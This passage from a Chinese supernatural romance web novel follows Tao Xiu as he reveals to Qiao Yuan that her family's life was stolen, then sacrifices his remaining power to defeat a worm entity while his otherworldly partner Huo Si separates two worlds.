他斟酌着字句,正要说出真相,乔鸢却继续讲述了下去:“即使再如何百思不得其解,我们的人生还是变成了现在这样。我们也想过改变的,五年前我们就开始觉得不对劲,往外投过不少简历,我们那时候想,哪怕不去创业也至少找份薪水高一些的工作给孩子看病——孩子的情况也是从那年开始突然恶化的。” “但诡异的是……不管拿到多好的offer,我们就是无法顺利入职,总会突然出现各种各样的意外。吴言只能做成家的司机,而我只能打各种零工。” “就好像……我们的人生被谁强制地绑定在唯一的这条道路上,我们无法尝试任何别的分叉……” 说到这里,乔鸢垂眸自嘲一笑:“但我们总不想认命,所以挣扎反抗了整整五年,却都以失败告终。” “吴言不久前送成运去过霞山那里被废弃的别墅区,之后就被关进了这个我直到现在都不清楚名字的单位,被放出来之后,他出于对我的保护,向我隐瞒了这些。” “但是,成家父子直到现在都是失联状态,想来已经因为霞山别墅的事情被控制了。他们已经不能给吴言发工资了,他却依旧不得不去成家那个废弃的房子里上班,为了赚钱他试着去外面跑网约车,果然出了意外,我又怎么可能不担心呢?” 说着她看向周河,道:“刚刚蒋先生叫你,我才知道周河是你。我从吴言的口袋里发现了你给他的名片,那名片很奇怪,上头没有单位名称和你的职称,而只有你的名字电话和这里的地址。” “我的本能告诉我,来到这里,我或许能知晓我想要的谜题答案,所以我直接过来了,哪怕希望再渺茫,我也想试着寻求真相。” 只是,她并未从蒋周那里知晓太多信息,直到刚刚遇到了陶岫。 “现在,”乔鸢又恳切地看向陶岫:“我恳请您告诉我,我们一家人到底为何会遭遇这些!” 她面上再次浮出那种自嘲的笑,她难得在人前露出脆弱和疲惫:“陶先生,说实话,最近我已经觉得走投无路,开始去相信那些鬼神之说,我想难道是因为我和吴言前世犯下了什么罪——” 陶岫瞳孔一缩,他神色柔软又坚定地打断她:“绝对不是你们的错。你们没有犯任何错误和罪行。” 他们一家明明是受害者,该付出代价的明明另有其人…… 陶岫看向蒋周,他想到什么,神色有些冷:“你们这里一定有成杨的详细生平,对吗?可以给我用来给这位女士讲述真相吗?” 蒋周点点头,看了周河一眼,周河立刻用平板调出了之前收集的成杨的资料。 他们利用张乐的【意识探取】能力查过那对父子,除了查出成杨似乎和【游戏】有什么交易外,没有查出别的信息。 他们还想查得更加清楚,但是,张乐的能力似乎需要借助虫子,他的能力对那些已经被虫子侵入身体的玩家更有效果,而成杨父子是人类,张乐的能力非常有限。 今天有陶岫在,成杨父子的谜题应该就能得到解答…… 陶岫眉头微皱,快速浏览着平板上的时间线信息,看到一个时间节点,他视线一顿: 成杨一直是个不走正道做灰色生意的混混。 十一年前,他还因为将一批血型信息卖给人贩子坐过牢。 八年前,他出狱,之后突然摇身一变,非常突兀地成为了一家知名科技公司的老板。 …… 陶岫的手指点在八年前这个节点:这里应该就是虫王开始制造虚假记忆的时间点。 这个时间点正确的事件应该是,刚毕业的吴言和乔鸢一起创立了这家公司。 而成杨出狱后,或许是因为坐牢前攒的家底已经被不学无术的儿子成运挥霍干净,他去做了吴言的司机。 他很可能做司机做了三年,直到虫子出现,他和吴言乔鸢交换了人生,他变成了科技公司老板,还拥有了一段虚假的回忆,认为是自己三年前出狱后创立了公司——而即使察觉到一些违和和异常,他贪婪的本性也绝对不会让他去探索修正。 之后的五年里,他把控着从别人那里偷来的科技公司,通过那些产品向那只虫子输送大量数据和信息,无意中得知些许【游戏】的信息后,他更加贪婪地想要获取力量,甚至偷偷将一个死去的玩家运回了家研究,直到因为成运暴露,被抓进了特别行动局…… …… 清这些,陶岫看向乔鸢,认认真真道:“有一个很坏的存在,交换了你们一家和成杨一家的人生。” 蒋周周河和乔鸢几乎同时睁大了眼睛。 乔鸢面上一片空白的茫然,她嘴唇有些抖:“您、您说什么?” 陶岫:“是你们在八年前创立了一家科技公司,成杨那时很可能是你们的司机;五年前,你们遇到了一个很坏的家伙,它因为一些原因,有很多诡异的能力,它交换了你们和成杨的位置,你们一家才会变成现在这样……” “那个坏家伙涉及到太多和你们一家无关的信息,很抱歉我无法向您解释全部。” 陶岫直直看进乔鸢的眼里:“我知道我的说法不够有力有逻辑,但我保证,你们一家能回到原来的轨道上。” 那只虫子早晚会死,它死后,这一家人就能回到正轨上,吴言乔鸢会重新拿回自己的公司,他们一家人会像从前一样幸福…… 乔鸢沉默半晌,苍白的脸上浮出个苦笑,她垂眸轻轻道:“好,我知道了。” 她说着起身,对陶岫道:“很感谢您对我说这些。说实话……这一切听起来都非常天方夜谭,但是,您的说法和宽慰让我莫名心安了很多。” “我想,我会努力再坚持一段时间。” “我先去医院看吴言了,陶先生,祝你们今天一切顺利。再见。” 说罢她转身离开了这间办公室。 陶岫担忧地看着女人清瘦的背影,咬了咬唇。 等到办公室的门被合上,蒋周感叹的声音才响起来:“乔女士因为过度辛劳得了病,有钱和好的环境就能治愈,一直拖下去,可能会恶化,但他们家现在拿不出多余的钱来,就算能筹到钱治疗,她现在一直处于极严重的焦虑里,病情也有极大的概率恶化。” “她今天来到这里也是因为,她想试试看能不能找到真相、至少改变她孩子的未来。” 她只是害怕她病情恶化甚至有一天离开后,她的孩子未来会同样困在这种“鬼打墙”一样的诅咒里,所以她不放过任何微小的找到真相的可能性。 陶岫垂在身下的手紧紧攥在一起:他也刚刚有了陶星星,所以他很解,乔鸢在很多时刻里会有多绝望…… 到底该怎么加速霍斯正在做的事情的进程呢?只有这样,那只虫子才能尽快死,那家人才能尽快拿回属于自己的人生。 那只红眼睛说过,他最后的力量就是结束一切的关键,但是,那个选择还没到来,他还什么都做不了…… 蒋周这时消化完陶岫刚刚告诉乔鸢的信息,他看了看手表,道:“陶先生,十点钟了,我们现在可以去开下一场会议了,这场会议的核心是关于【美好公司】的一条信息。” 他其实很想知道陶岫为什么会要他们去查【方子青】和【美好公司】,也想知道他刚刚对乔鸢说的那些更详细的来龙去脉。 但是,现在不是追问的时候,总要先把他们得到的那条信息共享给陶岫。 陶岫回过神来,他苍绿的眸子里满是坚定:“好,我和你们去。” 现在只有不断向前走,才能尽快遇到红眼珠口中的选择。 蒋周朝他点点头,带着他走向会议室。 …… 与此同时,植物园里,霍斯单手抱着陶星星半蹲在中心区的那丛黑巴克玫瑰前。 现下还是冬天,那丛玫瑰并未盛开,只余光秃秃的翠绿花杆和那上头尖利的长刺。 和陶岫在时总有许多客人蹲在附近找机会搭讪老板不同,此时因着霍斯的气质太过可怖,以玫瑰花为核心的方圆一两米内都没有一个客人。 霍斯不知感知到什么,伸出一只手面无表情地握住了长满刺的花杆,尖锐的花刺看似刺进了掌心,却没有一滴血流出来,那些花刺反而受不住就要化作齑粉,只是被男人用能力保持着原状。 霍斯失望又不耐地移开,看向自己连伤痕都没留下的手心:人类世界真让人失望,他在这里连疼痛都无法感受到…… 什么都不懂的陶星星歪了头好奇地望着爸爸宽大的手掌:爸爸这素肿么了? 唉,好想妈咪吖QAQ 霍斯想起陶岫对小朋友的宠溺,难得刻意放轻动作,伸手捏了捏陶星星绵软的脸颊,像是对儿子说话,又像在自言自语:“他很快就会知道了。” 霍斯沉默一瞬,再次看向怀里的婴儿,道:“他快回来了,我们去接他,好么?” 陶星星歪了头眨巴着可爱的大眼睛,开心地点了点头:去接妈咪回家~ 第67章 特别行动局的会议室里。 工作人员:“之前,我们只通过检索【方子青】这个名字检索到一篇报道,那篇报道和25年前的一场失踪案有关,有受害者家属接受采访时表示受害者房间里有一张【美好公司】的工牌和【方子青】的名片。” “但我们并未在那篇报道里看到那些实物的照片,只好继续调查这场失踪案,再顺着失踪案调查【方子青】和【美好公司】,但一无所获。事实上,我们连当年失踪人员的完整名单都查不到。” “无论从哪个调查路径入手,最终指向的结果都是,全国确实有很多【方子青】,但与那场失踪案有关的【方子青】并不存在,【美好公司】也不存在。” “就在这时,和我们实验室长期保持合作关系的乔栋先生得知了这件事,为我们引荐了一位住在疗养院里的老人。” 说着她将一张照片展示在大屏幕上,那是个头发花白满脸皱纹精神却很好的女士,她佝偻着身体坐在床上,看向窗外发着呆,眸子里有些空洞,神情却温柔又坚韧。 工作人员介绍道:“乔先生只说,这是他和妻子长期资助的一位女士,她在25年前那场失踪案里失去了和自己相依为命的女儿。” “在女儿刚失踪那段时间,她卖车卖房几乎付出了自己能付出的一切去寻找她,但只过了一年时间不到,她的精神就出现了问题被送进了疗养院,在那之后,她就好像忘记了自己的女儿一样从来没提过一次女儿的名字,她每天只是自言自语说着一个地址,看着窗外发呆。” “我们推测,这或许就是我们用上了一切人力、科技与数据去调查那场失踪案却一无所获的原因。我们提出了一种猜想:是不是有什么存在(比如【游戏】)使用了我们无法认知与解的能力,抹除了那些失踪的人。所以我们无法查到相关信息,受害者家属也会遗忘。” “在此基础上,我们进一步推测,【方子青】与【美好公司】是不是也是抹除的对象呢?” 陶岫闻言瞳孔一缩:即使并不具备任何特异能力,人类还是能够凭借自身的智慧与永不言弃的探索精神走到了这一步…… 蒋周一边听报告,一边观察着陶岫的神情,工作人员继续道:“当然,这一切都只是我们提出的假设,目前没有任何可以验证它们的方式。” 说着她切换了另一张图片,那是A市一个知名园区,工作人员道:“这里就是那位女士念了25年的地址,这个园区现在入驻的都是生物医药类的公司,但遗憾的是,我们暂时没有在那里查出任何异常,所以不能确认这个园区是否和我们所调查的事件有关系。” “以上就是我今天的报告。” … 报告结束后,参会的工作人员根据这些新的信息立刻投入到新的工作中去,陶岫坐在原位,继续看着屏幕中那张还未来得及撤下的园区照片出神:那里是… 蒋周锐利的眼神定格在陶岫脸上:“陶先生,那里有什么不对吗?” 陶岫闻言收回视线,他直视着蒋周,试着开口道:“那里是【美好生物科技公司】的原住址,那家公司的老板就叫【方子青】。” 说罢他屏住呼吸,仔细观察着蒋周。 他之前就一直很好奇,【抹除】这种能力到底是如何发生的,到底会掣肘人类到什么地步。 蒋周看起来似乎没有任何异常,只是他的眼睛里闪过一瞬空白的茫然,接着,他像是不知道自己刚刚问了什么,再次问道:“陶先生,那里有什么不对吗?” 陶岫轻轻叹了一口气,他摇摇头:“暂时没有。”接着他起身道:“蒋局,我先走了,之后有什么消息我会联系周河。” 蒋周即使看出有异常,也并未追问,他点点头,叫来周河送陶岫离开。 … 离开特别行动局后,陶岫站在路边低着头叫车,他想去那个园区亲眼看看。 正在这时,一道阴影投了下来,空气中霎时盈满了馥郁的冷香,陶岫蓦然抬起头来,便立刻溺入一双猩红美丽的眼睛里。 陶岫一怔:“霍斯?” 霍斯注视着青年,“嗯”了声。 他怀抱中的陶星星已经朝青年伸出两只小小的胳膊,声音稚嫩软糯:“妈咪~” 陶岫连忙将小朋友抱过来,失笑道:“你们怎么会来?植物园呢?” 霍斯:“我们来接你。别担心,亲爱的,植物园那里很好。”他把一缕意识灌入了安检机,那里不会出任何问题。 陶岫眨了下眼:“好吧,但我还有些事情,我要去——” 霍斯上前轻轻抚上了青年的脸颊,他垂眸深深看着他:“我知道你要去哪里,也知道你会做什么。” 他不会阻止陶岫做任何事情,但是…… “我和陶星星想陪在你身边。等你事情做完,我们就一起回家。” 霍斯占有欲十足地掌着陶岫的脸颊,拇指蹭在青年唇角。 陶岫被男人突然的动作和表白弄得脸色有些红,此时路上还有行人,他轻咳一声移开了视线,却到底没有阻止男人的动作。 他道:“可以带我去美好公司的原住址吗?” 霍斯微笑着道了声“当然”,他上前揽着青年走向一个街角,四周没有行人时,他们的身影凭空消失在原地,之后便出现在那片园区里。 … 这片面积不小的园区表面看起来一切正常,办公的高楼与研发楼和谐地共存。这里绝大部分区域都在使用中,只有地段最好的核心区域,是一大片寸草不生的荒地——就连路上的员工都会刻意避开那里。 陶岫将陶星星交给霍斯,正要踏上那里,霍斯眸色蓦然一深,却到底没说什么,只是一个刚从公司食堂出来的年轻人利落地拉住了陶岫的腕。 她似乎是这个园区某家公司的研究员,胸前戴着工牌,她道:“你们别过去。这个园区好几家公司上千员工,没有一个人会去那里。大白天的大家宁愿绕远路都不愿意经过那地方呢。” 顿了下,她补充道:“那是我们园区出了名的怪地方。” 陶岫止住步子转过身,先是道了谢,接着温柔地捂住了陶星星的耳朵,才温和地向女孩儿问道:“可以和我说下,那里怎么奇怪吗?” 女孩儿思索一瞬,像是想起什么可怕的事情一般搓了搓衣袖,道:“奇怪的地方太多了我也不知道该怎么说起。最明显的怪异之处就是,那么好的地段,但不知道为啥没有建楼招商,我同事群里都传那里的楼建了就倒,所以干脆就空着了。” “空着一片地方也不好看嘛,园区领导肯定要搞绿化的,但是……不知道做了多少绿化策划案,却没有任何植物能在那片空地活下来。” “再有就是,我们的感觉。这就有点玄乎了,我们总觉得那里是活的……就好像那里有个看不到的怪物,在睁着眼睛张着口在等着我们经过时吃掉我们,让人背后发毛。” “而且,只要一接近那里,我们就总能莫名其妙闻到血腥味……但以前领导报过警,专业人员用鲁米诺测过的,那里压根没有什么异常血迹。” “可大家还是不喜欢那里,就总是绕开。”说到这里她感叹道:“这个园区地段很好的,挺多企业都把研发中心放在这,大部分员工们的薪水都非常可观,但是离职率还是挺高,就是因为有那么一片地方让大家很害怕,毕竟,大家确实需要打工赚窝囊费,但也不想时时刻刻都因为工作之外的事情神经紧张啊。” 陶岫听后沉默了很久,才礼貌地向女孩儿道谢:“谢谢你告诉我这些。祝你一切顺利。” 女孩儿道了声“不客气”,她看了眼一旁的霍斯和陶星星,最后叮嘱道:“千万别过去哦,尤其是你们还带着这么可爱的小孩儿,万一害小朋友做噩梦就不好了。” 陶岫点点头,女孩儿这才放心离去。 …… 等到女孩儿的身影消失不见,陶岫并未移开陶星星耳朵上的手,他只是看向霍斯,道:“如果,我们能很快杀死那只虫子……有办法救救那些被虫子吃掉的人们么?” 25年前,有一百多个人“失踪”,那是一百多条活生生的人命啊……. 而且他们还因为虫子的【抹除】能力被整个世界遗忘。 但即使在【抹除】能力的阴影下,他们的家人也可能会饱受折磨:就像疗养院里那个失去女儿的母亲,她当年抱着付出一切代价去寻找女儿的决心,当遗忘开始发生时,她该有多痛苦。而25年过去了,即使她早就忘记了女儿,忘记了她当年找到的线索所代表的意义,她也依旧痛苦又顽强地把那个地址刻进了身体里——即使女儿已经彻底在她的记忆中消失,她的身体也从未忘记过寻找她与拯救她的决心。 这些人们根本就不该遭受这些。 霍斯单手抱着陶星星,他静静看着陶岫半晌,才伸出另一只手,轻轻抚上青年的脸颊,道:“亲爱的,别露出这种神情……” 不要露出这种难过的神情,他觉得自己心都要碎了。 霍斯的声音沙哑低沉:“我会救他们。” 对他来说,拯救低维生物这种事情比毁灭要麻烦太多太多。 但只要陶岫不要再露出这样的神情,哪怕是上亿个人类,他都愿意一个个去救。 陶岫弯了眼眸踮起脚尖,轻轻亲了口男人的脸颊:“谢谢。” 接着他放开陶星星耳上的手,温柔地点了下婴儿的鼻尖,轻声道:“小星星,在这里等下我好不好,我很快就回来。等我忙完,我们就一起回家。” 陶星星明明什么都不知道,却仿佛已经天然地感知到什么,他眨巴着大眼睛看着青年,软糯的声音里有些不安:“妈咪……” 陶岫亲了口陶星星的脸颊:“乖啊。” 陶星星很想伸出短短的手臂抱住陶岫,却还是认认真真道:“星星、会乖的……” 陶岫又看向霍斯,他难得伸手捏住了对方俊美的脸,温柔地弯了眼眸,像在安慰一个小朋友:“你也乖啊……” 说罢,他转身向那片空地走去:他有种莫名的预感,那只红色眼睛所说的选择——只有他能做出的选择,就在那里。 …… 高大俊美的男人抱着陶星星站在原地,他静静看着青年的背影,猩红的瞳仁似烈火燎原。 【全文完结】 第68章 陶岫站在那片荒地的中心,缓缓蹲了下去,将手覆在了地面:那里看起来被沙土覆盖,手掌触碰地面的触感却分外光滑黏腻,就像……摸到了某种非人生物冰凉的外皮,让人非常不适。 陶岫眉头微微皱起来:这底下就是【美好】公司的大楼,下面的空间已经被虫子全部扭曲了,严格来说,地上地下完全是两个世界。 但是,虫子使用偷取来的力量时似乎并不完美,地下空间还是微妙地影响到了地上,这些沙土才会因此变得如此奇怪,在这里工作的人们才总是隐隐感觉异常。 那么,那只红眼睛所说的【选择】到底是什么呢? 他清清楚楚记得那只眼睛对他说过的话:【你最后的力量就是尽快结束一切的关键。】 【不久后,你就会拥有选择的权利。】 陶岫思索一瞬,尝试着使用自己仅剩不多的力量,覆在地面的指尖很快就有细细碎碎的萤色光点浮起又迅速渗入地面。 他之前从霍斯的讲述中看过,那只虫子吞噬了他大部分力量,现在他站在被那只虫子扭曲了的空间之上使用力量,虫子自然能感知到。 那只虫子此时就像25年前一样,开始隔着地面贪婪地吞噬他所剩不多的力量。那种感觉其实很不好受,就像自己浑身的血液都在被什么贪婪地吸干。 陶岫蓦地移开手掌,转头看向不远处的霍斯:他依旧不清楚那些虫子部位和霍斯在做的事情有什么关系,但他解霍的爱,解霍斯既想保护他又想尊重他的矛盾与挣扎。 霍斯是不会任由他毫无意义地自我伤害的。 所以如果霍斯没有阻止他刚刚在做的事情,那么就说明,他脑海中刚刚浮起的猜测是对的:他面临的选择就是,是否要将自己剩下的所有力量给虫子。 陶岫清楚地看到,不远处高大俊美的男人单手抱着孩子正直直注视着他,他的另一只手垂在身下,紧紧攥着拳,眼珠红得仿佛正在燃烧。 可他并未阻止。 于是陶岫面上浮出个无奈的笑:看来他猜对了。 他深吸一口气,毫不犹豫地将手重新覆在了冰冷的地面上——即使知道后果应该对自己不好,他也没办法犹豫哪怕一秒钟。 被改变命运的吴言乔鸢一家在等他,那些被虫子吃掉的人们在等他,那个为了女儿拼命与遗忘对抗将被抹除的公司地址记了整整25年的女士也在等他。 更多萤色的光点自掌心析出迅速渗进地面,陶岫眼前一黑,耳边嗡嗡作响,他觉得自己的身体在迅速变凉…… 那种感觉令人毛骨悚然,就好像地下的虫子在从他身体的每一处里敲骨吸髓搜刮他力量的同时,还在疯狂吸食他的生命和灵魂。 即使知道虫子没有能力吃掉他的生命和灵魂,那种可怕的感觉只是因着痛苦而产生的错觉,陶岫浑身的血液和细胞却依旧因着求生的本能疯狂叫嚣着主人将手移开。 陶岫额角很快渗出冷汗,他依旧发狠又坚定地将手用力按在原地。 鼻血滴滴答答地落在地上,就连耳朵都有血缓缓渗出来,陶岫狠狠咬住自己苍白的唇忍耐着:他只知道,自己不会死的…… 即使是为了拯救自己珍视的存在,他也一点都不想死……死掉是件多么冰冷可怕的事情啊,这件事发生后,他就再不能看到他的孩子、爱人、朋友、两个世界…… 所以他现在已经很幸运了,忍受些痛苦就能拯救他想拯救的,这是很划算的代价…… 只要不死,别的任何代价他都能接受…… 不知过了多久,陶岫眼前开始漫出大片黑暗,身体彻底脱力前,他有些无奈地想,如果早知道这种选择会让他自己变得如此狼狈,今天他一定会先让霍斯把陶星星送回家再来这里。 他一点都不想让他的小朋友看到亲眼这一幕…… …… 最后一点萤色的光芒渗入地面,荒地中心的青年终于失去意识就要彻底倒下来,下一瞬,他稳稳坠入一个盈满馥郁冷香的怀抱。 霍斯一手抱着刚刚被他使用能力“哄”睡的陶星星,另一只手臂有力地揽住了青年,他眼睛一动不动地盯着怀中满脸是血的青年,猩红的眼珠仿佛同样要渗出血来——他第一次体会到心痛得快要碎成星尘是什么滋味。 他没有立场阻止青年做这些,他甚至无法真正陪在他身边——他刚刚如果踏上那片荒地,那只虫子只会逃跑,根本不会主动吸食青年最后的力量。 而强制性地将陶岫的力量喂给对方,陶岫受到的伤害只会更大。 直到刚刚陶岫倒下来,他都无法想象,他的意志、他的心脏、他浑身的骨骼和器官是如何忍下来的…… …… 此时,地上的沙土诡异地颤动着,就连地面仿佛都变得扭曲起来,察觉到邪神在地面的一瞬,地下被彻底喂熟的虫子拼命挣扎着想彻底逃离这个地方,却被霍斯的力量狠狠钉在了原地。 地下纯白的异空间里,到处充斥着虫子绝望可怖的哀嚎,所有屏幕刹那间全部异常,闪烁着刺目的红色光芒。地面在剧烈颤动,无数玩家像无头苍蝇般乱作一团,他们要么自相残杀,要么四处窜逃…… 答应帮陶岫收集那些碎肉的张乐带着被他说服的玩家们瑟瑟发抖地缩在化作人形去里面查看虫身成熟情况的一筒一万兄妹身边。 妹妹怔怔地看着同样剧烈颤动的纯白天花板,喃喃道:“发生了什么,虫子怎么突然全部成熟了……” “老大应该做不到这些才对……” 霍斯大人的力量过于强大,祂做这件事这里立刻就会彻底化成齑粉,连【存在】本身都会消失…… 那么,这是谁做的呢? 哥哥若有所思地看着周围,难得神情严肃地将指竖在妹妹唇边:“不要妄作猜测。”顿了下,他同样抬头看向已经痛苦地浮出无数裂缝的纯白天花板:“无论何时何地,无论发生什么,我们都不可以忘记霍斯大人给我们的任务。” 妹妹一怔,随即坚定地点了点头。 …… 霍斯根本不屑会那些细节。 他只是紧紧抱着青年,一点点用自脊椎伸出的触手将青年脸颊上的血迹温柔地清干净。 因着心脏与浑身的器官骨骼都在充满戾气地吱吱作响,霍斯单手揽着青年肩膀的手指在微微颤抖。最终,他却将一个最轻最干净的亲吻映在青年眉心。 此时人类世界冬日的阳光慷慨地映照着万物,园区里所有的公司依旧在照常运转着,园区外的世界也一片喧嚣灿烂——这看起来就是人类世界一个再普通不过的午后。 没有任何人类知道,他怀中满脸是血的青年在这个普通的午后认真又努力地拯救了这个世界。 这种拯救真的值得吗? 他依旧无法解、并无比心疼青年这种自我牺牲,却矛盾又爱屋及乌地爱着青年的一切思想与行为。 现在,爱人这种折磨他的“拯救”终于结束了,一切尘埃落定,人类世界因着那次撞击而产生的所有纷乱因果很快就要彻底终结,那么…… “宝贝,”霍斯深情又心疼地看着陶岫,喃喃道:“我们先回家,好么?” 正在这时,在远处观察了他们半晌、却因着霍斯身上的戾气不敢靠近的另一个员工终于鼓起勇气走上前。 她咬了咬牙踏上了那片她一直绕开的荒地,走到霍斯面前,担忧地看了眼昏迷的陶岫和陶星星。 她满脸警惕地看着霍斯,勉强笑道:“请问,你来这个园区有什么事情吗?我对这里很熟,你想去哪家公司办事,我可以帮你指路。” 她其实并不知道具体发生了什么,只是经过时远远看到荒地中心的青年满脸是血地倒在一个浑身戾气的男人的怀里,那个男人怀里还抱着一个睡着的婴儿…… 这实在太可疑了,这个男人大概率有问题。 正确的做法是应该先报警再去通知园区保安过来——事实上,她已经报了警并打了保安厅的电话,她做了能做的一切,现在应该离开立刻这里回自己的办公室继续上班。 可是园区不是全封闭式的,她真的很怕在这段时间里这个男人带着昏迷的青年和婴儿直接离开……那会让青年和婴儿的处境变得更加危险。 她能想到的办法只有在不惊动对方的前提下搭话拖延时间等警察和保安过来…… 只是这个男人实在太可怕了,她只是靠近都觉得自己要忍不住浑身颤栗…… 可她不能走——她没办法违背自己的良心,看着这件事不管。 女孩儿深吸一口气正要再说些什么,再轻易不过地看透对方的霍斯直视着她,冷淡地开口:“如果现在他醒着,一定会先夸奖你是个非常勇敢与聪明的女孩儿,接着他会叮嘱你,见义勇为的前提是一定要先保护好自己。” 女孩儿僵在原地,瞳孔一缩。 霍斯垂眸看向陶岫,声音深情而温柔,像是在自言自语:“这就是你喜欢这里的原因么?可惜,我还是没有你那样的耐心。” 说罢他重新看向女孩儿,没有任何感情的空灵声音里带上了言灵的力量:“立刻离开这里。” 他既像是在对这个女孩儿说话,又像在对这个园区所有人类说话。 话音落定的一瞬,女孩儿失神一般利落转身机械地大步离开——她并未回自己的办公室,而是直接离开了园区回自己的家。 所有公司的所有员工此时也开始从大楼里有序地涌出来,他们诡异又机械地排着队向园区大门方向走去,很快就有条不紊地离开了这里。 整个园区霎时陷入一片静默里。 霍斯傲慢地扫了下地面,瞳仁冰冷地亮了一瞬,接着便抱着陶星星与陶岫消失在原地。 下一瞬,地面剧烈地颤动,一栋充斥着血腥气和恶臭气息的高楼在荒地上轰隆隆地拔地而起、很快高耸入云,楼身上的无数玻璃方格窗不知已经碎掉多久,只余无数漆黑的孔洞,每一处孔洞都发出刺耳诡异的哀嚎——就仿佛这栋楼已经变成了活物…… 整栋大楼在诡异扭曲地蠕动,无数玩家被它从底层的窗框中吐出,混乱的尖叫声此起彼伏。 巨大的异动惊动了园区周边的人们,许多胆子大的来到园区周围拍视频,甚至还有网红得知消息后立刻过来,还想进入园区内部查看,只是他们很快就发现,这个园区周围似乎被某种人类看不见的物质整个包裹了起来,隔绝了所有人进入。 警笛的声音也很快响起来,警戒线很快拉好,工作人员紧张有序疏散着周围的人群。 等到特别行动局的人赶过来,另一件诡异的事情发生了:那栋突然出现的诡异高楼又突然彻底消失,只留了一地诡异的黑色碎肉和无数被吐出来的人类。 周河站在警戒线外无比震撼地看着里面的场景,他利落地向上司汇报着情况,之后他思索一瞬,拨通了陶岫的电话。 无人接听。 …… 第二天中午。 金色传说小区2101室。 陶岫不知自己睡了多久,只是醒来时,鼻尖嗅到了热腾腾的食物香气。 他吃力地睁开了眼睛,温暖的光线立刻映入了眼帘,让人有些晕眩。接着,小八带着哭腔的声音在耳边响起来:“小陶哥哥,你终于醒了!” 陶岫一怔,弯了眼眸道:“抱歉,让你们担心了。” 说罢他感受到什么,看向自己的怀里:陶星星正眷恋地偎依在他的颈窝,他似乎刚睡着,却并不安生,浅浅的眉轻轻蹙着,软软的小手揽着他的脖颈,像是怕他下一秒就会消失。 陶岫的心里软得一塌糊涂,他温柔地摸了下陶星星的小脸儿,才声音沙哑地问道:“霍斯呢?” 小八一怔,眨了下眼才道:“霍斯大人祂……去工作了。祂说会出差两天,要你别担心。” 那只虫子的身体突然彻底成熟了,霍斯大人把它整个搬回了书房,用那只虫子和一筒一万兄妹带着玩家们随后收集的所有碎肉制作了足够的空间分离剂。 空间分离剂全部做好后,祂就动身去了两个世界相交的各个节点分离空间,临走前命令她和竺要陪伴照顾好陶岫。 她不明白小陶哥哥为什么会突然昏迷,但她更不明白,这种时刻为什么霍斯大人会选择先工作。 她怕陶岫会难过,正要安慰,却惊讶地看到青年温柔地弯了眼眸,垂眸轻声道:“我知道了。这样很好。” 他并未再纠结这件事情,只是看了看周围,问道:“我昏迷了多久?怎么会在主卧?” 小八:“你已经睡了快一天了……”她和竺真的很担心,还有小朋友,都不笑了,一直要偎依在陶岫怀里担心地看着他,她和竺费了好大力气才把他哄睡。 陶岫一怔:才一天…… 昏迷的过程中,他混沌的意识明明隐隐感觉到会睡很久…… 小八并未注意到陶岫的异常,她这时甜甜笑了下,接着道:“至于卧室……我和竺觉得,最近太阳都很好,小陶哥哥是人类的身体,一定会喜欢冬天的太阳,多晒晒太阳说不定就能早点醒过来,我们就自作主张把你接到这里啦~” “别担心我哦,偶尔在客厅打打地铺也挺好的!” 陶岫回过神来,温柔地道:“多谢。” 他之前已经把买车提上了日程,看来还要再计划买一套房间多一点的房子,这样大家才能住得更舒服些。 竺应该在厨房做饭,真的很香,陶岫摸了下鼻尖,难得觉得自己饿了,他抱着陶星星吃力地起身,将他放到客厅的婴儿车后自己去洗漱。 正在这时,门铃声响起来,陶岫听到小八去开门的脚步声,便并未担心什么。 只是下一瞬,乔之安的声音传了过来:“陶岫?你在家么?” 他已经进了客厅,不知怎地有些焦急:“你家门怎么没锁?小星星一个人在这,厨房火也没关?” 他似乎担心出了什么事,脚步声很急,正在去往主卧。 卫生间里的陶岫也心里一紧,也生怕有事,他匆匆擦过脸,打开卫生间的门大步离开了那里,下一瞬,便和乔之安正面撞上。 乔之安焦急地问道:“你没事吧?你家那个小姑娘和厨师呢?” “你们怎么不锁大门?我刚按了门铃它自己就开了,孩子一个人在客厅,多危险啊。厨房火也是,炖着汤离了人不行啊,容易出事。” 陶岫愣在那里,缓缓睁大了眼睛,张了张口却不知该说什么: 刚刚去开门的小八现在明明就在乔之安身后站着,她有些手足无措地看着自己的脚尖,满脸茫然,竺站在她身边,手里拿着炖汤的汤勺,也是满脸茫然。 他们明明就站在那里,乔之安却看不到…… 陶岫突然想起霍斯之前讲过的【撞击】,无论是两个世界撞击前,还是撞击后,亦或是在被虫子影响前的撞击过程里,地球上的生物都是看不到和感知不到高维世界和高维生物的存在的。 所以,霍斯此时正在顺利地将两个世界分离,而人类会变得看不到祂们存在吗…… 乔之安现在还看得到他和陶星星,是因为他是人类的身体而陶星星和他血脉相连吗? 陶岫心中蓦然涌起一种难过,他并未隐瞒乔之安,直接道:“他们还在的,就站在你身后,只是,你现在应该看不到他们。” 乔之安瞳孔一缩,他立刻环顾四周,却依旧看不到小八和竺。 消化这个消息半晌,他才释然地笑了下:“也行吧,都在这里就成。我还给他们带了礼物呢。” 虽然不知发生了什么,但是……至少他还看得见陶岫和陶星星。 陶岫也弯了眼眸:“刚好到饭点了,一起吃饭吧。” 乔之安爽快地道了声:“成。” …… 饭后,小八和竺出门散步,陶星星依旧在睡着,陶岫坐在沙发上亲昵地把小朋友抱进怀里,才轻声问乔之安:“怎么突然会过来?”乔之安之前来家里一定会提前说的。 乔之安静静看着他们,道:“你还没看手机吧?今天,一个新的都市传说都在互联网传得翻天了。昨天警方在A市市中心一个生物医药园区围了警戒线,据说是一个妹子发现园内有疑似绑架事件,就报了警——当然,警方后来发了通报,绑架是乌龙一场。” “结果今天不少人说昨天亲眼看到园区里有一栋高楼凭空出现又消失,但是吧,也没啥证据,视频啊照片啊都没有。因为没证据嘛,这群人渐渐的又怀疑自己可能记错了或者癔症了,所以现在网上吵得很激烈。之后应该吵着吵着就散了。” 陶岫瞳孔一缩:他并不知道昨天把力量全都给那只虫子之后发生了什么。 但那栋楼被霍斯拔地而起很可能是真的,会消失很可能是霍斯带走了它,因为霍斯需要和楼几乎融为一体的虫子身体。 而现在人类真实的记忆被大范围地变成了【虚幻的想象】,也大概率是霍斯的手笔。 他从前无意中听霍斯说过,霍斯对人类使用绝大部分力量都会造成不可控的影响,包括大范围地彻底修改人类的记忆,而这种更折中的将记忆变成想象的能力和【因果】一样,控制着使用算是少数对人类无害的能力…… 陶岫面上浮出个温柔的浅笑:他也没想到,霍斯会为人类做到这种程度…… 乔之安这时接着道:“人类社会中确实存在集体记忆与事实不符的曼德拉效应,但那些记忆一般都是时间太久才出现了偏差,怎么可能才过一天就这样了呢?” 